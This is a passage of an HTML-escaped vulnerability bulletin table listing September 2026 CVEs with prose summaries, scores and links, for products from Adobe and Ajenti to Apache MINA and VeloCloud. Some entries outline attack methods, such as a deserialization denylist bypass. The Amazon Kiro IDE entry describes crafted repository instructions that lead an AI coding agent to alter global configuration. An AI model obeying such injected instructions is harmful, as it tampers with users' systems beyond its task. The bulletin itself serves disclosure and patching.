&lt;td&gt;Adobe Connect is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim&#039;s account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75698&quot; target=&quot;_blank&quot;&gt;CVE-2026-75698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
&lt;td&gt;Adobe Connect is affected by an Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-34689&quot; target=&quot;_blank&quot;&gt;CVE-2026-34689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--AEM 6.5 Forms JEE&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager Forms JEE is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75745&quot; target=&quot;_blank&quot;&gt;CVE-2026-75745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--AEM 6.5 Forms JEE&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager Forms JEE is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81995&quot; target=&quot;_blank&quot;&gt;CVE-2026-81995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--AEM 6.5 Forms JEE&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82000&quot; target=&quot;_blank&quot;&gt;CVE-2026-82000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--AEM 6.5 Forms JEE&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager Forms JEE is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim&#039;s account or session. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75744&quot; target=&quot;_blank&quot;&gt;CVE-2026-75744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--AEM 6.5 Forms JEE&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81999&quot; target=&quot;_blank&quot;&gt;CVE-2026-81999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--AEM 6.5 Forms JEE&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager Forms JEE is affected by a Cross-Site Request Forgery (CSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access, causing a limited disruption to availability. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75743&quot; target=&quot;_blank&quot;&gt;CVE-2026-75743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Content Credentials Rust SDK&lt;/td&gt;
&lt;td&gt;CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19480&quot; target=&quot;_blank&quot;&gt;CVE-2026-19480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Content Credentials Rust SDK&lt;/td&gt;
&lt;td&gt;CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75632&quot; target=&quot;_blank&quot;&gt;CVE-2026-75632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Premiere&lt;/td&gt;
&lt;td&gt;Premiere Pro is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation potentially resulting in unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84395&quot; target=&quot;_blank&quot;&gt;CVE-2026-84395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Substance3D - Modeler&lt;/td&gt;
&lt;td&gt;Substance3D - Modeler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79906&quot; target=&quot;_blank&quot;&gt;CVE-2026-79906&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Substance3D - Modeler&lt;/td&gt;
&lt;td&gt;Substance3D - Modeler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81998&quot; target=&quot;_blank&quot;&gt;CVE-2026-81998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Substance3D - Modeler&lt;/td&gt;
&lt;td&gt;Substance3D - Modeler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83962&quot; target=&quot;_blank&quot;&gt;CVE-2026-83962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Substance3D - Modeler&lt;/td&gt;
&lt;td&gt;Substance3D - Modeler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83963&quot; target=&quot;_blank&quot;&gt;CVE-2026-83963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ajenti--ajenti&lt;/td&gt;
&lt;td&gt;Ajenti is a Linux &amp;amp; BSD modular server admin panel. Prior to version 2.2.16, any authenticated user can call /api/core/tasks/start to enqueue InstallPlugin, UnInstallPlugin, or UpgradeAll from plugins/plugins/tasks.py without plugin-management authorization. InstallPlugin and UnInstallPlugin construct a pip package specification from unvalidated name and version fields, and the task worker invokes pip while running as root. A low-privileged user can therefore select or manipulate a package installed with root privileges and can install, remove, or upgrade plugins without administrative permission, resulting in root code execution and full host compromise. This issue is fixed in version 2.2.16.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79920&quot; target=&quot;_blank&quot;&gt;CVE-2026-79920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alam00000--bentopdf&lt;/td&gt;
&lt;td&gt;BentoPDF is a client-side PDF toolkit that is self hostable. In 2.8.6 and earlier, the certificate and timestamp CORS proxy in cloudflare/cors-proxy-worker.js uses isPrivateOrReservedHost() to validate a supplied hostname separately from the DNS resolution used by fetch(targetUrl), allowing an attacker-controlled hostname to resolve to an internal or reserved destination after validation. A certificate-like path can satisfy ALLOWED_PATH_PATTERNS, and direct clients can forge the browser-oriented Origin header. Deployments without PROXY_SECRET skip the optional signature check, while the signature is an anti-abuse measure rather than a destination-security boundary. The proxy has a 10 MB response limit and can relay response bodies from reachable destinations. The advisory identifies both the official Worker deployment and self-hosted instances as impacted where the Worker execution environment can reach internal or reserved destinations. This vulnerability is fixed in 2.8.7.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77581&quot; target=&quot;_blank&quot;&gt;CVE-2026-77581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alastairlundy--CliInvoke&lt;/td&gt;
&lt;td&gt;CliInvoke and its formerly named `AlastairLundy.CliInvoke` package are .NET libraries for invoking command-line programs and wrapping executable processes. `CliInvoke` versions 2.0.0 through 2.8.4, 2.9.0 through 2.9.3, 2.10.0 through 2.10.4, and 3.0.0-alpha.1 through 3.0.0-beta.1, as well as `AlastairLundy.CliInvoke` versions 2.0.0-alpha.1 through 2.0.0, contain an argument-injection vulnerability in `RunnerProcessFactory` on the 2.x line and `RunnerConfigurationFactory` on the 3.x line. These factories combine runner arguments, a caller-controlled target, and caller-controlled arguments into one `ProcessStartInfo.Arguments` string, allowing a double quote in the target or an argument to terminate an operating-system-level quoted region and inject unintended elements into the runner&#039;s argument vector, potentially resulting in arbitrary command execution when a shell runner is used. The vulnerability is patched in `CliInvoke` versions 2.8.5, 2.9.4, 2.10.5, and 3.0.0-beta.2, and in `AlastairLundy.CliInvoke` version 2.0.2. No complete workaround is available; users unable to upgrade can partially mitigate the issue by removing double quotes from targets and arguments, additionally removing shell metacharacters when using shell runners, or bypassing the vulnerable factory and constructing a `ProcessConfiguration` with an explicit `ArgumentList`.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100369&quot; target=&quot;_blank&quot;&gt;CVE-2026-100369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alastairlundy--CliInvoke.Specializations&lt;/td&gt;
&lt;td&gt;CliInvoke is a .NET library for invoking command-line programs, and its `CliInvoke.Specializations` packages provide specialized wrappers for shells such as PowerShell and Windows Command Prompt. `CliInvoke.Specializations` versions 2.2.0 through 2.8.4, 2.9.0 through 2.9.3, 2.10.0 through 2.10.4, 3.0.0-alpha.1 through 3.0.0-alpha.4, and 3.0.0-alpha.8 through 3.0.0-alpha.10, as well as `AlastairLundy.CliInvoke.Specializations` versions 1.0.0-rc.1 through 1.6.1.1, contain an OS command injection vulnerability in their PowerShell and Cmd wrappers. The wrappers pass a caller-controlled target and arguments to `pwsh -Command` or `cmd /c` using a single `ProcessStartInfo.Arguments` string, allowing a double quote in untrusted input to break operating-system-level quoting and cause the shell to execute an additional command with the host process&#039;s privileges. The vulnerability is patched in `CliInvoke.Specializations` versions 2.8.5, 2.9.4, 2.10.5, and 3.0.0-beta.1, and in `AlastairLundy.CliInvoke.Specializations` version 2.0.2. No complete workaround is available; users unable to upgrade should reject or remove double quotes from target paths and arguments, additionally reject shell metacharacters in versions 2.2.0 through 2.9.2 and 3.0.0-alpha.1 through 3.0.0-alpha.4, or bypass the PowerShell and Cmd wrappers and invoke target processes directly when handling untrusted input.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100368&quot; target=&quot;_blank&quot;&gt;CVE-2026-100368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altera--Trusted Firmware&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow vulnerability in Altera Trusted Firmware on HPS allows Exploitation of Improperly Configured or Implemented Memory Protections. This issue affects Trusted Firmware: through socfpga_v2.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13465&quot; target=&quot;_blank&quot;&gt;CVE-2026-13465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altera--Trusted Firmware&lt;/td&gt;
&lt;td&gt;Incorrect calculation of buffer size vulnerability in Altera Trusted Firmware on HPS allows Overflow Buffers. This issue affects Trusted Firmware: through socfpga_v2.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13466&quot; target=&quot;_blank&quot;&gt;CVE-2026-13466&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altera--Trusted Firmware&lt;/td&gt;
&lt;td&gt;Out-of-bounds write vulnerability in Altera Trusted Firmware on HPS allows Exploitation of Improperly Configured or Implemented Memory Protections. This issue affects Trusted Firmware: through socfpga_v2.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13467&quot; target=&quot;_blank&quot;&gt;CVE-2026-13467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altera--Trusted Firmware&lt;/td&gt;
&lt;td&gt;Out-of-bounds read vulnerability in Altera Trusted Firmware on HPS allows Privilege Escalation and Overflow Buffers. This issue affects Trusted Firmware: through socfpga_v2.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58004&quot; target=&quot;_blank&quot;&gt;CVE-2026-58004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altera--Trusted Firmware&lt;/td&gt;
&lt;td&gt;Out-of-bounds read vulnerability in Altera Trusted Firmware on HPS allows Privilege Escalation and Overflow Buffers. This issue affects Trusted Firmware: through socfpga_v2.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58005&quot; target=&quot;_blank&quot;&gt;CVE-2026-58005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altera--Trusted Firmware&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference vulnerability in Altera Trusted Firmware on HPS allows Exploitation of Improperly Configured or Implemented Memory Protections. This issue affects Trusted Firmware: through socfpga_v2.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58006&quot; target=&quot;_blank&quot;&gt;CVE-2026-58006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altera--Trusted Firmware&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference vulnerability in Altera Trusted Firmware on HPS allows Exploitation of Improperly Configured or Implemented Memory Protections. This issue affects Trusted Firmware: through socfpga_v2.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58007&quot; target=&quot;_blank&quot;&gt;CVE-2026-58007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altera--Trusted Firmware&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow vulnerability in Altera Trusted Firmware on HPS allows Exploitation of Improperly Configured or Implemented Memory Protections. This issue affects Trusted Firmware: through socfpga_v2.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58008&quot; target=&quot;_blank&quot;&gt;CVE-2026-58008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Amazon--amazon-connect-salesforce-lambda&lt;/td&gt;
&lt;td&gt;Missing authorization in Amazon amazon-connect-salesforce-lambda before 5.26 allows any IAM principal with lambda:InvokeFunction permission on the affected function to escalate privileges and perform AWS API operations that their own IAM identity is explicitly denied, via invocation of a Lambda function that dispatches caller-supplied parameters to privileged service APIs without authorization validation. To remediate this issue, we recommend upgrading to version 5.26 or later. After setup is complete, either delete or disable the sfExecuteAWSService function. If you retain the function, restrict invocation to the intended IAM user only.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94384&quot; target=&quot;_blank&quot;&gt;CVE-2026-94384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Amazon--Kiro IDE&lt;/td&gt;
&lt;td&gt;The file write tool in Amazon Kiro IDE versions before 1.0.242 might allow remote unauthenticated actors to inject crafted instructions into the agent&#039;s context. When a user runs the agent in a crafted repository as an untrusted workspace, sending any message can cause agent modifications to auto-loaded global configuration paths. We recommend you upgrade to Kiro IDE version 1.0.242 or later. Users who ran the agent in an untrusted workspace on an earlier version should also review the global Kiro configuration directory (~/.kiro) for entries they did not create.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95985&quot; target=&quot;_blank&quot;&gt;CVE-2026-95985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;anirbandutta9--College-Notes-Gallery&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in anirbandutta9 College-Notes-Gallery up to 8c1cf3d98f30982d069c88ca172612c001eb39f6. Affected by this vulnerability is an unknown functionality of the file login.php. Such manipulation of the argument user/pass leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95819&quot; target=&quot;_blank&quot;&gt;CVE-2026-95819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Doris&lt;/td&gt;
&lt;td&gt;An Improper Authentication vulnerability in the Apache Doris Frontend (FE) meta service allows an unauthenticated remote attacker to access internal metadata service endpoints. The affected endpoints relied on client-supplied node information for authentication without providing sufficient authentication of the requesting party. Under certain network configurations, a remote attacker may be able to bypass the intended access control and access internal FE metadata interfaces, potentially exposing sensitive cluster information. This issue affects Apache Doris: from 2.0.0 through 2.0.*, from 2.1.0 through 2.1.*, from 3.0.0 through 3.0.*, from 3.1.0 through 3.1.*, from 4.0.0 before 4.0.8, and from 4.1.0 before 4.1.4. Versions 1.2.x and earlier are not affected by this header-trust vulnerability. Users are recommended to upgrade to a fixed release (4.0.8 or 4.1.4), which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-31377&quot; target=&quot;_blank&quot;&gt;CVE-2026-31377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache MINA&lt;/td&gt;
&lt;td&gt;The fix for CVE-2026-47065/ZDRES-232 (&quot;resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy&quot;), released on 2026-06-02 and announced as &quot;Fully addressed&quot; in MINA 2.2.8, 2.1.13 and 2.0.29, was committed to the &amp;nbsp;2.2.X branch only. The 2.0.X and 2.1.X maintenance branches never received the resolveProxyClass() override, so the 2.0.29 and 2.1.13 artifacts listed as fixed -- and every later release on those lines, up to and including the current 2.0.30 and 2.1.14 -- remain vulnerable to the exact allow-list bypass that CVE-2026-47065 was meant to close.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94301&quot; target=&quot;_blank&quot;&gt;CVE-2026-94301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache MINA&lt;/td&gt;
&lt;td&gt;The CompressionFilter class uses ZLib to deflate and inflate data sent and received. When we inflate incoming data, the filter does not control the resulting size, and create a buffer no matter what. Some compressed data may have a compression ration greater than 1 thousand, leading to an exhaustion of the application memory, as we don&#039;t control the deflated size. The fix adds such a control by allowing the application developer to provide a fixed size limit, which when reached throws an exception. It also allows the user to provide a compression ratio that should not be exceeded, protected the application from small inflated files that inflate in gigantic files, but with a grace limit for the resulting size (1Mb) to avoid false positive (like a very small file inflating with a high ratio, but resulting with a acceptable size, like a few thousands bytes) For application using this feature, it is highly recommended to create the&amp;nbsp;CompressionFilter and to pass the maximum limit as a forth constructor parameter, maxDecompressedSize: public CompressionFilter(final boolean compressInbound, final boolean compressOutbound, final int compressionLevel, final int maxDecompressedSize)Optionally one can also provide a&amp;nbsp;maxDecompressRatio&amp;nbsp;fifth parameter, and a decompressRatioMinSize&amp;nbsp;sixth parameter to allow small inflated files with a high compression ratio to still be accepted. Here are the additional constructor: public CompressionFilter(final boolean compressInbound, final boolean compressOutbound, final int compressionLevel, final int maxDecompressedSize, final long maxDecompressRatio, final long decompressRatioMinSize) Also note that a fluent API has been added to spare the users the pain to call a constructor with that many parameters: CompressionFilter compressionFilter = new CompressionFilter() &amp;nbsp;.setCompressionLevel(Zlib.COMPRESSION_MAX) &amp;nbsp; .setMaxDecompressedSize(1_000_000) &amp;nbsp; .setMaxDecompressRatio(100). &amp;nbsp; .setDecompressRatioMinSize(100_000);&amp;nbsp; Applications using Apache MINA are advised to upgrade and configure their CompressionFilter instance.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47321&quot; target=&quot;_blank&quot;&gt;CVE-2026-47321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apereo Foundation--openEQUELLA&lt;/td&gt;
&lt;td&gt;openEQUELLA before 2026.1.0 contains an authenticated remote code execution vulnerability that allows any authenticated non-guest user to execute arbitrary code by exploiting Java deserialization in the HTTP invoker endpoint at /invoker/*. Attackers can bypass the class-name denylist enforced by PluginAwareObjectInputStream by nesting a serialized payload inside a java.security.SignedObject, causing the inner stream to be deserialized by a separate ObjectInputStream that does not apply the denylist, ultimately reaching a JNDI sink and enabling code execution.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67615&quot; target=&quot;_blank&quot;&gt;CVE-2026-67615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--VeloCloud Orchestrator (VCO) On-Prem&lt;/td&gt;
&lt;td&gt;VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. Hosted, including Dedicated, versions of VCO were impacted and have already been patched.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93952&quot; target=&quot;_blank&quot;&gt;CVE-2026-93952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASR--CraneFalcon&lt;/td&gt;
&lt;td&gt;NULL pointer dereference vulnerability in ASR Craneï¼ŒFalcon on Linux (as_rrc module) allows Pointer Manipulation. This vulnerability is associated with program file 3g.mod/lib/src/urrsir.c.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42801&quot; target=&quot;_blank&quot;&gt;CVE-2026-42801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
